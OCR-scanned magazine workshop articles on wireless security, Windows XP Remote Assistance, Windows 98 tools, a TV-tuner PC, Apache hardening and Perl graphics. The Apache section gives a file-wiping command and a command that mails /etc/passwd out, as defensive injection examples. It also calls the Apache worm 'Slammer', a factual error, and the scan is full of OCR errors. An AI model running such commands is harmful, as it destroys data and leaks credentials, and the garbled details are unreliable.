from these IP addresses on the wireless interface. Then, determine 
the addresses of devices on your wired network that you want to be 
able to communicate with, and allow those IPs to communicate over 
the wired interface. 

This kind of basic firewalling is not bulletproof— if someone 
uses an IP that you have given access to, they will have access to the 
network (provided that they can also circumvent any other security 
measures you have in place). 

AUTHENTICATION 

For years, authenticating users with a username and password has 
been an effective way of securing network resources. It's possible to 
configure something similar on your wireless network. By ensuring 
that things on your computer (such as file and print shares) are 
at least password protected, users who don't know the password 
shouldn't be able to gain access to those resources. 


Most access points also have the ability to use the Extensible 
Authentication Protocol (EAP). If you enable EAP on your access 
point, when a client connects to the access point and successfully 
authenticates, the access point sends the client a session-based WEP 
key and allows the client to access the network. Without the WEP 
key, the client can't connect to the network, and the client can't get 
a WEP key unless the user can be fully identified. This has particular 
advantages in more secure environments, as people generally find it 
easier to remember passwords than WEP keys, and passwords can be 
changed on the authentication server without having to reconfigure 
every client on the wireless network. 

In order to utilise EAP, most access points require you to have a 
third-party authentication server, such as a Remote Authentication 
Dial-In User Service (RADIUS) server. 

VIRTUAL PRIVATE NETWORKING 

Often employed when a wireless network is being used as a bridge 
between networks. Virtual Private Networking (VPN) tunnels are good 
for end-to-end encryption of data. VPNs were initially developed as 
a way to offer remote users secure connectivity to private networks 
via the public Internet. Setting up a tunnel involved authenticating 
the remote client appropriately, encrypting and encapsulating data 
transferred to and from the remote client, and having mechanisms in 
place to detect when this data is being compromised. 

The same principle can be implemented on a wireless network, 
treating the air interface much like the public Internet. Some access 
points (particularly those with routing abilities) will have the ability 
to be the endpoint for a VPN tunnel — if you have this functionality 
available to you, it's possible to set up the wireless client so it 
connects to the access point via a tunnel. You can then configure the 
access point to block all traffic that isn't coming down a VPN tunnel. 

Alternatively, it's possible to set up an end-to-end tunnel 
between the wireless client and another system on the wired 
network, which can then route requests to the rest of the network. 
The wireless client would still need to connect to an access point 
to communicate with the wired host, but you could configure the 
access point to again only allow VPN traffic through. You would 
also need to configure the wired host to accept and route traffic 
appropriately. This configuration can be quite tricky. 

One of the main disadvantages to using VPN tunnels is that they 
won't operate over Network Address Translation (NAT) gateways or 
Internet Connection Sharing (ICS) gateways. This means that if you want 
to connect your wireless network to another network, the IP addressing 
schemes on both networks must be compatible, h i' r H 


WPA: a successor to WEP? / 

Other protocols are being developed to improve wireless security, 
such as Wi-Fi Protected Access (WPA). WPA is supposed to include 
numerous security mechanisms, such as a new Temporal Key Integrity 
Protocol (TKIP), which can overcome key cracking problems in WEP by 
changing the key at random intervals, and informing authenticated 
clients of the key change. During this key change process. Message 
Integrity Checks are performed in order to make sure that the key 


exchange is not interrupted by external sources or unauthenticated 
hosts. In a business environment, 802.1x port access control ensures 
that keys are only transmitted to clients that have been authenticated 
on the network. 

The Institute of Electrical and Electronics Engineers (IEEE) has set 
up the 802.11i task group to look into WPA and other wireless link layer 
security mechanisms for both near-term and long-term solutions. You 
can look up the status of the project for this task group at 

http://grouper.ieee.0rg/groups/8O2/l 1 /Reports/tgi.update.htm 
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Outside control 

with RA 


With Windows XP's Remote Assistance (RA), you 
can log into another PC and troubleshoot without 
leaving your desk. Serdar Yegulalp explains. 

One of the most frustrating experiences you can have is trying 
to fix someone's PC over the phone — you can spend hours 
explaining what they need to do, all the while thinking, "If only 
I was there.. 

Maybe you can't be there, but Windows XP allows you to do the 
next best thing. Using technologies inherited from Windows 2000 
and NT4.0, it lets you invite a remote user to work with your PC as if 
they were right at the keyboard. Dubbed Remote Assistance (RA), 
it's a big leap forward from just talking people through something 
over the phone — now you can enact It for them as they watch, or fix 
problems from your end without having to go to their PC in person. 
It's also a way to allow someone else to show you how something 
works on your PC, or vice versa — again, without needing to bring 
them over to your house or office. 

INVITATION ONLY 

RA works by invitation: if you need help from your PC you send out 
an invitation, either by email or as a standalone file. The recipient of 
the invite runs the file to get access to the remote system and types 
a password (specified by the remote system owner). Then, up pops 
a remote copy of the other computer's desktop that behaves exactly 
like the real thing. The speed of the desktop depends on what kind 
of network connection you have, but it's functional even on a dialup 
link. Remote Assistance was built from the ground up to be relatively 




RSVP: invitations can be sent by email or saved as a file, which can also be mailed 
out or distributed in some other form. 

secure, so that It wouldn't be possible to use the system to remotely 
hijack someone's desktop against their will. 

ENABLING REMOTE ASSISTANCE 

The first step in using Remote Assistance is to make sure the machine 
to be controlled is RA-enabled. Right-click on My Computer, select 
Properties, then click the Remote tab and check Allow Remote 
Assistance invitations to be sent from this computer (if you're 
reasonably sure that you're not going to use RA anytime soon, you 
can disable it. This not only disables the sending of RA invites, but 
prevents them from being activated at all). 

To send an invitation from that machine, fire up Help and 
Support from the Start button, and click on Invite a friend to connect 
to your computer with Remote Assistance. If your buddy is available 
as a Windows Messenger contact, you can sign in and send the 
invitation that way. Alternatively— and more commonly — you 
can send the invitation by email, or save it as a file and send it 
separately. Once you choose the delivery method, fill in a name 
for the invite and a short message that describes the problem. The 
message itself is optional, but can be useful for filling in the other 
person ahead of time. 

Next, pick an expiration period, which can be set in minutes, 
hours or days. This is how long the invitation is valid. After the 
designated time, the invitation is no longer valid on that computer. 

If you're sending out the invitation on a disk, set the timeout interval 
to a week or so; if it's by email, set it to several hours. 

You can also choose to set a password for the remote session. 

Don't use the message field to tell the other person the password 
— make sure it's a password that both of you are aware of, such as 













































your mother's maiden name. If you're using Outlook, once you elect 
to send the invitation, you could get a warning that another program 
is trying to send email. Click Yes to continue. 

The invitation comes in the form of an email with an attachment, 
usually with the filename "rcBuddy.MsRcIncident". To connect to 
the other machine and start the Remote Assistance session, just 
launch the attachment. Provided the other machine is active, not 
firewalled (see below) and at the same IP address it used to create 
the attachment, you should be ready to go. 

When the recipient activates the RA session, the sender of the 
invite gets a pop-up message: "[name of person] has accepted 
your Remote Assistance invitation. Do you want to let this person 
view your screen and chat with you?" Click Yes to continue. The 
remote desktop will then appear on the client's computer, and the 
machine being controlled will pop-up a control panel with a chat 
window. Both parties can type through this window, and if you both 
have speakers and microphones, you can also talk by clicking on 
the Start Talking button. You can send files back and forth with the 
Send File button. 



Set a timeout period; so your invitation won't be abused. 

What can't you do in a Remote Assistance session that you 
could do on the local desktop? The answer is very little, but 
most of what you can't (or shouldn't do) depends on how much 
bandwidth you have. Don't try playing games or videos in RA, as 
the connection will never be able to keep up with it. Programs with 
complex graphic displays (like Photoshop, or a Web browser) will 
take a long time to synchronise on both ends. Whatever you do, 
keep it simple. 

If the RA connection doesn't work, there are several possible 
reasons for this. One of the most common is when a person is using 
a dialup networking account and gets disconnected after they send 
the invite, but before the invite is used — their IP address will change 
and the invite is no longer any good. In such cases it might be best 
to try and send the invitation via an instant messenger, which could 
even be faster. 

Also, be mindful of firewalls. The inbound connection (the 
machine being helped) has to have port 3389 open in both 
directions to allow a Remote Assistance session. Microsoft's own 
Internet Connection Firewall does not block port 3389, ostensibly so 
that RA can work through its own firewall. 

If you're an administrator and you want to control how 
Remote Assistance works in an organisation, Microsoft has 
written a document, "Administering Remote Assistance," at 
www.microsoft.com/windowsxp/pro/techinfo/administration/ 
adminra. This has all the details on how to use RA through NAT 
devices and how to configure RA with group policies, tiliid 


TAKE CONTROL 

For the remote user to take control of the machine, they need to click 
the Take Control button at the top of the Remote Assistance window, 
which will prompt the other user for permission. Once they click yes, 
the machine will be controlled through the remote user's mouse and 
keyboard as if it were the local machine. 

If you're performing Remote Assistance through a dialup 
connection, bear in mind that it may be very slow. RA assumes that 
you're on a slow link by default and scales things back appropriately, 
but if you're on a high-speed link and want to take advantage of that, 
click the Settings button (on either console) and select "High-speed 
connection." Also, if the remote display is bigger than your local one, 
you can size it to fit by clicking the "Scale Window" button. 


Remote Assistance 
and Terminal Services 


Remote Assistance is actually a reworked version of a Windows feature that 
first appeared in the NT4.0 era. Terminal Services was a way to connect . ' ji: 

remotely to a Windows desktop, or to create multiple virtual desktops from \. 
a single server. At first the only way to do this was with a special edition ^g 
of NT 4.0, named Terminal Server, but Windows 2000 later incorporated (v 

the Terminal Server technology. You can remotely administer a Windows ^ 

2000 machine with a virtual desktop in a window, or buy licenses to run ^ 

applications remotely — in other words, the app appears on the local ■ ^ 
desktop, but is really running back on the server. ■ ‘i 

































The buried 

treasure in 9x 


To prove that the greatest riches are often right 
under your nose, Joe Cassels goes fossicking 
in Windows 9x. 

Despite the grunt of Windows 2000 and the glam of Windows XP, 
there are still plenty of PCs running an OS from the Windows 9x 
family — especially 98SE, which is generaliy considered the best 
of that bunch. And there are plenty of people who are happy with 
Windows 9x. But with XP enjoying so much attention, it's too easy 
to overlook many of the features buried under the surface of 
versions gone by. 

The OS contains some very useful tools that most users never 
see, and even the install CD itself has a hidden bonus: a HLP (Help 
file) ebook version of the Windows 98 Resource Kit, which sold as a 
hard copy for over $100. 

STARTUP SOLUTIONS 

As with ali versions of Windows, pienty of erratic Windows 9x 
behaviour is due to unnecessary startup entries. Appiications 
can append themselves to startup in numerous piaces: the 
Startup folder, a registry key, or in several initialising files. The 
System Configuration Utility enables you to isolate and disable 


individual startup items, so you can find troublemakers by a process 
of elimination. 

This handy utility doesn't appear anywhere on the Start menu by 
default, but you can launch it by entering MSCONFIG.EXE through 
the Run command. 

The program's Startup tab shows the location of each entry. By 
clearing its box, you're able restart with that item disabied. You can 
then decide to remove the entry completely by editing the registry, 
removing a Startup folder shortcut, or by changing the properties of 
the parent program. 

The SCU aiso gives you the chance to disable individual lines 
in Autoexec.bat, Config.sys, System.ini and Win.ini. Once you've 
rebooted to test your changes, you can make them permanent by 
deleting the lines directly by editing the fiie in Notepad. To work with 
these files in isolation, disable the ones you don't want to load from 
the General tab. 

Other features of the System Configuration Utility inciude: a View 
menu that gives access to several key areas of Control Panel; while 
plenty of power tweaks can be made by clicking Advanced on the 
General tab — such as disabling the automatic iaunching of Scandisk 
after an improper shutdown, and enabling the Startup menu for 
each reboot. Needless to say, only dig around here if you know 
what you're doing. 



► Upstart start-ups; the System Configuration Utiiity gives you totai controi over every 


; when you launch Windows. 


SYSTEM INFO 

A useful System Information tool is ferreted away inside the Start 
Menu's System Tools folder. This reports detailed hardware and 
software configurations to help resolve conflicts or merely satisfy 
your curiosity. The Tools menu provides access to numerous 
programs and utiiities, many of which don't even appear on the Start 
Menu. Both the System Configuration Utility and System File Checker 
can be launched from here, along with the renowned Dr Watson, 
which watches out for program freezes or general protection errors. 

Once launched, it sits quietiy in the system tray until such an error 
occurs. When his observational skills are required, double click the 
system tray icon to read Dr Watson's report. Never one to get deeply 
involved in the action, Watson reports but cannot fix the errors. You 
need to interpret the clues that he provides to track down the culprit. 

If you want to have the Doc running in the background, place a 
shortcut in the Startup folder — the path to the executable file is 
C;\Windows\Drwatson.exe. 

GETTING RESOURCEFUL 

Some of the best tools for Windows 98 are left sitting on the 
installation CD in the aptly-named Tools folder. This contains a mix of 
utilities, with some fairly useless stuff rubbing shoulders with 
must-have software. However, by far the most useful item is the 
Windows 98 Resource Kit. This is an incredibly detailed reference to 
the OS, presented in an indexed (and searchable) Help file format. 

Open the CD's \Tools\Reskit folder, click the Setup icon and 
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Read all about It; this ebook version of the Windows 98 Resource Kit is 
crammed with under-the-hood details on the OS. 

follow the Instructions. When all's done, you'll find this file listed 
as Resource Kit Online Book in a Windows 98 Resource Kit folder 
hanging off your Programs menu. There's also a Windows 98 
Resource Kit Tools Sampler, which uses a management console 
to browse and launch a selection of utilities (however, neither the 
Resource Kit or the tools are on the Windows Me CD). 

We've compiled a list of all Resource Kit tools to make it easier to 
know what's what, but here's some extra detail on our favourites. 

The FAT32 Conversion Information Tool enables you to scan a 
hard drive or partition that's formatted under the older FAT system, 
to estimate how much space you'd gain by converting the drive to 
FAT32 file system. 

Batch 98 enables you to enter all installation options prior 
to installing Windows 98, creating an INF file to automate the 
installation, while the Windows INF Installer gives you the chance 
to add device drivers to Windows 98's installer. This means that you 
can start using Windows 98 after a fresh re-installation, with all your 
device drivers in place. For this to work, you need to have the setup 
files copied to a hard drive so they can be modified. 

Both Batch 98 and the INF Installer were designed to help in the 
installation of Windows 98 across a network, but there's nothing to 
stop you using them to install Windows from a different partition on 
your hard drive. If you set up your INF files correctly, you can start the 
installation and then leave your PC to get on with it. 

The Text File Viewer is like Notepad with an Explorer tree bolted 
onto it, so you can easily find, view and edit all text-based files. This 
Is an excellent, yet simple, utility and it's a shame that more people 
don't know about it. 

ClipTray gives you an extended clipboard that sits in the 
system tray and can store often-used items such as your full postal 
address. You can add as many items as you want to ClipTray. The 
default is 20, but you can alter this by choosing More from the 
right-click menu and changing the Menu Size. Plenty of software 
houses charge good money for macro programs like this one, yet 
ClipTray has sat on the Windows 98 CD largely overlooked for 
many years. 



Notepad plus; the Text Viewer gives you Notepad-like editing but with the 
navigational element of an Explorer tree. 


QuickTray also resides in the system tray, but enables you to add 
or remove Items from the tray. Launch QuickTray and click Add, then 
browse to the program executable you want to add. This creates a 
system tray icon. You can remove any of the icons you add but not 
those that were originally In the system tray. EILE3 


Windows 98 Resource Kit tools 

Configuration Tools 

Code Page Changer 

Alters the DOS keyboard layout. 

Information Tool 

Calculates the space you'd gain by converting a FAT partition to FAT32. 

Windows Time Zone Editor 

Edits time zone information, including daylight saving dates. 


Batch 98 

Collects installation information to create an INF file for unattended 
Installations. 

Windows INF Installer 

Adds device drivers to Windows 98 setup. 


Link Check Wizard 

Finds and isolates dead links for removal. 

1 ClipTray 

1 Creates an extended clipboard In the system tray. 

QuickTray 

Adds or removes system tray Icons. 

1 Diagnostics and Troubleshooting j 

Microsoft File Information 

Displays key information about system flies. 

USB Viewer 

1 Displays information on current USB devices. 


Text File Viewer 

Enables you to find, view and edit any text-based file. 

Where 

Command line utility that finds and displays the full path of any file. 

WinDiff 

Compares similar text files, displaying the differences. 


TimeThis 

Command line tool that times any command line operation. 

WaitFor 

Command line utility that waits for a network signal. 

WInSet Sets or removes Windows environment variabfts. 









































Home 

entertaining 


Paul Robinson concludes our two-part Workshop on 
building a PC home entertainment system. 

Last month we showed you how to start building a PC-based home 
entertainment system {APC May, page 126). While some will be 
content with a home entertainment PC capable only of media 
playback — similar to a DVD player — the addition of a TV tuner 
card will perfectly complement this system. By the end of this 
Workshop you'll have a brilliant, multifunctional system ready to 
show off to your friends. 

There are a couple of basic reasons to buy a TV tuner card: to 
watch television on your computer, to input data via a camcorder, or 
for video editing. The EPIA system is capable of addressing the first 
application, but those wishing to perform video editing should use a 
more powerful Pentium 4 or Athlon system. 

TV tuner cards offer enhanced functionality, such as channel 
scanning and instant replay, that isn't found in your average VCR. 
However, while many cards boast of electronic channel guide 
software that saves you scanning TV Week for must-see programs 
and programming the digital recorder, none of these services cover 
Australian TV channels. 

A wide variety of TV tuner cards available: prices start at around 
$80 for base model PCI tuner cards and can go over the $200 mark 
when they offer bonuses such as S-Video connectors and infra-red 
remote controls. Installation of a PCI tuner card requires the use of 
the single PCI slot available on the EPIA motherboard. If the PCI slot is 
occupied, a number of similarly priced USB tuner cards are available. 

Our choice of card is the Hercules Smart TV tuner. It performed 
well in a recent roundup {APC March, page 92) thanks to its software 
bundle, picture quality and extensive number of connectors. 

As many Mini-ITX cases offer little room for expansion cards, 
check the dimensions of the card before making your final choice. 
The Cubid 2677, for example, can be less than forgiving if your tuner 
card extends too far beyond the end of the PCI slot. The Cubid is 
a low profile case that requires a riser card to mount the PCI card 
horizontally. This results in long cards touching or overlapping the 
hard drive area. This may not be a problem for a slim network card, 
but for a TV tuner card with a chunky RF receiver soldered to one 
side, it can cause placement issues. 

INSTALLATION 

Pop the case off your home theatre system and locate the solitary 
PCI slot on the motherboard. The coaxial connector on the back of 
the M9000 doubles as a jack for both RCA video and SPDIF audio. 

If you're planning on connecting to your TV with the coaxial Jack, 
ensure that the jumper (JPX) is set to 3-4 instead of 1-2. 

Depending on your case configuration the PCI tuner card will 
either be mounted vertically, in the same manner as you would 
mount one in a regular PC, or horizontally by using a riser. 



Easy interface: Video Scheduier provides an intuitive interface that 
eclipses a standard VCR. 

Insert the riser adaptor card into the PCI slot to create the 
horizontal mount. Hold the tuner card horizontally and slot the card 
into the riser adaptor, using your other hand on the riser board to 
avoid placing too much stress on the riser card. Don't touch any of 
the electrical contacts or solder joints on the riser adaptor. 

Screw the card into the case, replace the cover and power up the 
system. Those who purchased a USB tuner card simply have to plug 
any power cords into the USB device and then hook up the USB cable 
from the tuner to the PC. 

Whether you have a PCI or a USB tuner, install the drivers from the 
bundled CD when Windows detects the new hardware. The more 
features on a tuner card, the more drivers will be installed, so don't 
be surprised if Windows ends up adding extra devices. 

It's also worth a trip to the manufacturer's Web site to download 
any updated drivers for the tuner card. Encoding to MPEG2 on the fly 
takes quite a lot of processing power and while the M9000 is up to 
the task, updating the drivers will ensure every inch of performance 
is squeezed out of it. 

INSTALLING THE SOFTWARE 

With the TV tuner card installed correctly, the video application 
can now be set-up. Most tuner cards are bundled with some form 
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Power VCR; configures channels for a number of preset stations. 


of video capture software. The Hercules Smart TV is bundled with 
Cyberlink's PowerVCR II (a 30-day trial of this software is included on 
this month's cover CD). This powerful software configures channels 
for a number of preset stations based on the country of choice. 
Although we are concentrating on the PowerVCR software, the main 
configuration principles are the same for all programs. 

The first time the software is loaded it prompts the user for an 
initial configuration. PowerVCR automatically configures virtually 
every setting, but it does allow you to review its selection of video 
source, contrast and gamma settings, as well as default directories 
for captured video and stills. The one step that's not automated 
is selecting the Channel presets for your card. In the Channels tab 
of the preferences window there is a drop-down list of countries. 

By selecting Australia from the list, PowerVCR presets the channel 
frequencies for all major free-to-air stations. 

If you only want channels for the stations available, you can 
perform an auto scan. Hitting the auto scan button will cause the 
tuner to run through the entire VHF(I and II) and UHF bands used by 
TV stations. Any signal strong enough is locked into a channel much 
like any modern TV. 

CHANNELSURFER 

The user interface consists of three main panels. The video display 
area is a resizable window that can expand to fill the screen. The 
PowerVCR II panel controls video recording and playback. With a 
similar layout to PowerDVD, all the controls for video playback and 
channel changing are at your fingertips. The Master panel provides 
easy access to the main functions of the program, including: Live 
Recording, instant replay, file player, record scheduling and video 
trimming. There is also a CyberEPG button, which is Cyberlink's 
online TV guide, but this doesn't cover Australian TV channels. 

Live Recording is similar to pressing the record button on your 
VCR — it starts recording straight away and records whatever is 
showing on the TV screen. Instant Replay keeps a recording of the 
last five minutes of video, allowing the viewer to skip back at any 
moment to review what was just shown. The program will continue 
recording while the viewer is watching. When the replay is finished, 
regular TV continues from that point in a time delay viewing. 

The file player is akin to playing a video tape with a recorded 
program on it. Any file in a compatible format can be viewed, like 
viewing a video file in media player. Record Scheduling is the Digital 
Video Recording equivalent to setting the timer on your VCR. With 
a more intuitive interface than on most VCRs, you are able to set the 
start and stop times of your recorder as well as which channel the 
program is on. The advantage of digital recording is that you are no 
longer limited to 180 minute tapes. You can record as much TV as can 
fit on your hard drive, with one hour ranging from 100MB to 450MB, 
depending on the level of compression. 200MB will give you roughly 
the same level of quality as a videotape. 


PASS THE REMOTE 

The final requirement for true VCR replacement is the trusty remote 
control. Installation of the remote control is straightforward. 

TV tuner cards that are bundled with remote control units will 
have a "magic eye", an infra-red receiver which either plugs into 
a spare COM port or into a plug on the back of the video card. 

The next step is to install and configure any remote control 
software or drivers. In most cases it will only be software that 
needs to be installed. 

Our choice in software is ulCE which can control both the TV 
tuner card and other programs for which it is configured. ulCE may 
be preconfigured for your application set, depending on what 
digital video recorder software you're using. If your DVR software 
isn't supported by ulCE, you can either make use of the "check 
updates" functionality found in the help menu, or you can set about 
configuring your own key commands. 

To add custom commands to the program, select the Actions 
icon on the left of the screen, right-click on the Keyboard item and 
select "Add Application". Point the filename to your DVR executable. 
The software should supply a main window name so you won't need 
to modify this or any other option on this screen. 

To add custom commands for the new application, right-click the 
new entry under the keyboard section and choose "New Command". 
Change the layout name to represent what this button will do. In the 
middle of the screen there should be a series of icons, one of which 
labelled "Add new action". This shows a list of available commands 
that you can then configure for the application. Macros can be 
configured with the press of a single remote button, tiiiia 
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Securing 

Apache server 


Three rules are the basis of Apache security, writes 
Steven Noble: stay up-to-date, be stingy with 
permissions and audit server-side scripts. 

The Apache Project's free Web server is everywhere. Platforms as 
different as Red Hat Linux and Mac OS X include it as their built-in 
Web server, while Windows users need only download and install a 
double-clickable binary to Join the club. Little wonder that Apache 
now drives 65% of all Web servers, according to Security Space 
(www.securityspace.com). 

As this software is so common, organisations that have no 
expertise in network security often find it easy to host their own Web 
site using Apache — until it's defaced by a virus or hacker. But don't 
be deterred by the horror stories. Just use them as motivation. After 
all, anyone can maintain a reasonable level of Apache Web server 
security by following these three rules: stay up-to-date, be stingy 
with permissions, and audit server-side scripts. 

STAY UP-TO-DATE 

Whenever someone identifies an unnecessary vulnerability in 
Apache that could be exploited by a virus or hacker, the Apache 
Software Foundation (ASF) fixes the vulnerability with a patch, or 
provides detailed instructions so users can fix it themselves. 

And every time ASF fixes a vulnerability, thousands of Apache 
users either don't hear about the patch, don't follow the instructions, 
or skip the update because it clashes with one of their system 
requirements. Often, they pay the price. 

For example, after hitting the Net in September 2002, the 
Slammer worm infected 30,000 Apache servers — flooding their 
internet connections with worm-related traffic. But six weeks 
before Slammer, ASF had encouraged all Apache users to fix the 
vulnerability that this worm would later exploit. Clearly, at least 
30,000 Webmasters didn't follow their advice. 

The simplest way to keep Apache up-to-date is to let someone 



Identity switch: check the user and group variables in the httpd.conf file toconfirm 
that the user and group own the Web server processes. 



Custom fix: operating system vendors that provide Apache as their built-in 
Web server typically provide their own security updates, perhaps through a 
utility like Mac OS X's Software Update. 


else do it. The major operating system vendors that provide 
Apache as their platform's built-in Web server often release their 
own security updates, based on ASF's work but tweaked for their 
own purposes. Anyone who trusts their operating system vendor 
and uses Apache in the form it was provided can subscribe to their 
vendor's security or support mailing list and follow their instructions 
whenever they release an update. Some vendors make staying 
up-to-date even easier by providing a utiiity that automatically 
downloads and installs updates, including security fixes. 

Keeping a homegrown Apache installation updated can be 
trickier. The essential first step is subscribing to the Apache HTTP 
Server Project's Announcements List (http://httpd.apache.org/ 
lists.html). Whenever the list (or any other source) discusses a 
security vulnerability, look for a serial number beginning with CAN. 
Plug this number into the Common Vulnerabilities and Exposures 
Web site (http://cve.mitre.org/cve) to gather all available 
information about the issue, including exactiy which versions of 
Apache or its modules are affected. Then examine the patch's 
readme file to ensure it won't disable an Apache component that is 
essential for your site. If the patch passes both tests, carefully follow 
ASF's instructions to apply the fix. 

Note: when operating system vendors provide Apache fixes, they 
sometimes "backport" the code changes that are required to close 
the vulnerability without implementing the other features that ASF 
may have included with the update. Applying a backported security 
fix may not increment Apache's version number. This could lead 
some Apache users to believe they are affected by a security issue 
that the vendor has actually addressed. 
























'mail foo@foo.com < /etc/passwd' 


BE STINGY WITH PERMISSIONS 

In the Unix world, the root user is god. Anyone who can login as 
root can create or delete any file, play cruel games with your system 
settings, or FTP the entire contents of your hard disk to Uzbekistan. 

If Apache runs as a root process, it too is all-powerful. If hackers 
can seize a Web server that's running as root, then they will be able 
to do more than merely deface the home page. Potentially, they 
could control the entire computer. 

For this reason, Apache should always run as a purpose-built 
user that's permitted to do everything required for Web serving, but 
nothing else. Often, this user and its group will be called "www" 
or "nobody". 

Any copy of Apache that came as an operating system's built-in 
Web server should already be configured this way. On Unix-based 
operating systems, Apache's startup utility will run as root, but 
this simple utility will immediately spawn processes owned by a 
less powerful user to handle the actual Web serving. Check the 
httpd.conffileto identify this user and group. 

Eventually, these restrictions will seem like a hassle. When 
the back-end database refuses to speak with the Web server, the 
temptation might be to simply escalate the Web server's abilities 
or scale back the database's access regime until Apache can 
do anything it likes or the database is anybody's. Don't — that 
would allow any hacker who seized Apache to wipe the database 
and waltz into the rest of the computer. Instead, study and then 
conscientiously modify these variables until Apache can do 
everything that's required for Web serving and nothing else. 

AUDIT SERVER-SIDE SCRIPTS 

Anyone who runs a pretty standard build of Apache, immediately 
applies all security patches, is stingy with permissions and generally 
"keeps it simple" can enjoy a reasonable level of security. 

But who wants to keep it simple? Almost every interesting Web 
site creates content on-the-fly using a server-side scripting language 
or Web application. Apache supports many forms of server-side 
scripting through its mod_perl, mod_php, mod_python and 
mod_tcl modules. 

Scripting languages are powerful, as they can process input from 
Web site visitors, connect to back-end databases, and even interact 
with the Web server's file system or operating system. This power 
is seductive, and extremely dangerous. For example, the following 
line of PHP seems quite innocent. It could be used to display readers' 
comments beneath a magazine article, or a user's name when they 
register to enter a Web site: 

<?php echo Suserjnput; ?> 

But Suserjnput might not be the paragraph or the name that the 
programmer naively assumed all visitors would provide. A hacker 
could use this Web form to enter a Unix command enclosed in 
backticks, which tell the Web server to execute the command 
rather than printing it to the screen. Frightening examples of such 
commands include this request to wipe the entire file system: 

'rm -rf/*' 

And the sendmail command to swipe the Unix passwords file: 


If someone submits the latter command, you'd better hope that 
sendmail's user doesn't have permission to access the /etc/passwd 
file — a topic that was explored earlier in this Workshop. But Apache, 
its scripting languages and related software will always have 
permission to do a few interesting things — that's why we use them. 
So it's essential that we audit each script to ensure it doesn't expose 
Apache to excessive risk. 

Start by deleting any unnecessary scripts. For example, a Perl 
script that only outputs every environmental variable might be 
a handy debugging tool, but leaving this script on the server 
permanently is like storing the house key under the welcome mat. 
Delete it. 

With the remaining scripts, refer to the scripting language's home 
page for further advice. Any script that accepts user input should 
be able to validate the string and strip it of malicious code. Other 
security measures vary according to the language being used. EHHS 


Advanced security tips 

Obeying this Workshop's three main rules can deliver a reasonable 
level of Apache security. But achieving a high level of security requires a 
sophisticated understanding of‘the big picture’as well as attention to every 
detail, including: 

AUTHENTICATE UPDATES 

ASF includes encrypted keys with its downloads, so users can confirm that 
the files were provided by ASF rather than by an impostor who planted a 
trojan horse. Grab ASF's keys (http://apache.org/dlst/httpd/KEY5 ), and 
save them to your hard disk for future reference (as any hacker who can 
place a trojan horse on the downloads page can also place their own false 
key on the keys page). Then use PGP's software (http://pgp.com/products) 
and the keys to authenticate every download before using it. 

DOUBLE-CHECK MOD_REWRITE 

Webmasters sometimes use the mod_rewrite module for basic security. 
However, a hacker can bypass a sloppily written mod_rewrite rule by 
inserting an extra slash between the domain name and the start of the 
directory structure when they ask to view a protected directory. The solution 
is to include a + after the first slash to tell mod_rewrite to match one or more 
slashes: 

RewriteRule ''/+protected_page (.*) /public_page $ 

DO NOT PASSGO 

Running Apache in "chroot jail" prevents it from seeing the parts of the file 
system that must be protected. Type man chroot at the Unix command line 
for an introduction to the concept. 

THE WEAKEST LINK 

An otherwise secure Apache server can be undone by a single, simple 
error, such as using an inconsequential password. Audit an organisation's 
entire social and computing system for security vulnerabilities — don't just 
examine Apache. Keep every component up-to-date, including the operating 
system and every server-side scripting language. 
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Peris 


As Ashley Harris demonstrates, there's much more 
to Perl than clever text handling algorithms. 

Most Net users have come across graphical Web counters. There 
are hundreds of them, all boasting about the thousands who have 
visited a given site. And although it seems magical that the results 
are displayed in a graphic form, the reality is very different. 

With a little help, it's not hard to generate custom images 
on-the-fly with Perl, plus spectacular, dynamic graphics for your site. 
See the traffic ratings on www.alexa.com for an example of what's 
possible. For this Workshop, we'll build a graphical counter to display 
the hits on a personal Web site. 

Many people who have worked with Perl rave about its text 
handling strengths, but it turns out that Perl can do much more than 
manipulate text and run simple CGI scripts. Interactive 3D scenes 
can be created on-the-fly with Perl, and there's even a library to 
simplify the implementation of speech recognition. And yes, it can 
be employed to create images. 

The Perl graphics development (GD) toolkit can watermark 
your photography collection, create custom graphics, and mix and 
blur images (imagine a collage of Webcam feeds). This sounds very 
difficult, but as with everything else in the world of Perl, someone 
else has already made a library to simplify the hard stuff. 

WHAT YOU NEED 

It may seem blindingly obvious, but the first thing you'll need is 
Perl. Most Linux systems come with a version of Perl, but if you're a 
Windows or Mac user, you'll have to roll your own support. The latest 
version is 5.8, however, the code examples provided here will work 
with versions going back as far as 5.00323. 

We've tested it with Perl 5.6 on Linux, and versions 5.2r4 
and 5.6r2 of Macperl. Perl 5.8 for Linux and Windows is on the 
cover CDs, but you can download the latest version of ActivePerl 
from www.activestate.com. Mac versions are available from 
www.macperl.com. 

Secondly, you'll need the GD.pm;this is the open source graphics 
toolkit, which is on this month's cover CDs and at 
http://stein.cshl.org/WWW/software/GD. You'll also 
need its C partner, Boutells's libGD, available on the CD and 
www.boutell.com/gd. If you opted to install development tools 
with your Linux distro, there's a good chance you'll already have it so 
you won't need to reinstali it. 

If you need to install the C version of GD, you will find it's useful 
to have libpng, zlib, libjpeg, libxpm and freetype 2. These come with 
most Linux releases, but Windows users will need to compile them, 
or find precompiled binaries and install these. We've also supplied 
the source versions on this month's cover CD. 

Instructions are provided for how to compile and install each 
library within the library themselves — usually it's a matter of 
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Purlesque; an example of a Web site which uses Perl to generate dynamic 
counters and graphics. 


unpacking the library archive and typing, make install, at the command 
prompt. Install Perl first, then install any of the extra libraries you don't 
have, followed by Boutell's libGD library, and finally GD.pm. 

An alternative to installing these is to use a Linux box or Web 
server that's running on a machine with the correct libraries already 
installed. For more information on whether or not your ISP supports 
server-side scripting, ask your provider about Perl support, and don't 
forget to specifically mention GD.pm. 

Once you've got all the libraries installed, and the foundations 
laid, you can create your code. From this point it's assumed that you 
have access to a machine that supports Perl and has the GD library 
installed and working. 

Start off by creating a new file in a text editor. Call it "gdfirst.pl", 
and type the following first lines: 

#!/usr/bin/Perl -w 
use GD; 

Any Perl user should be familiar with the first line, as it tells Perl 
where to look on the system for a copy of itself. The second line loads 
up the GD.pm, which in turn loads up all those other libraries we 
installed, and gets the system ready to create our images. The next 
step is to create a blank canvas to work on: 

Sim = new GD::lmage(100,100); 

This code creates a new image, with a width of 100 and a height of 
100, and stores it in the variable $im. Now we have a blank image 
in memory and can start drawing on it. Before we do, we need to 
allocate colours to draw with: 


shop > pert graphic 























$red =$im->colorAllocate(255,0,0); 
$white=$im->colorAllocate(255,255,255): 

Notice the American speiiing of colour. Now that I've defined the 
colours, it's time to add a background to work with: 

$im->fill(1,1,$white); 

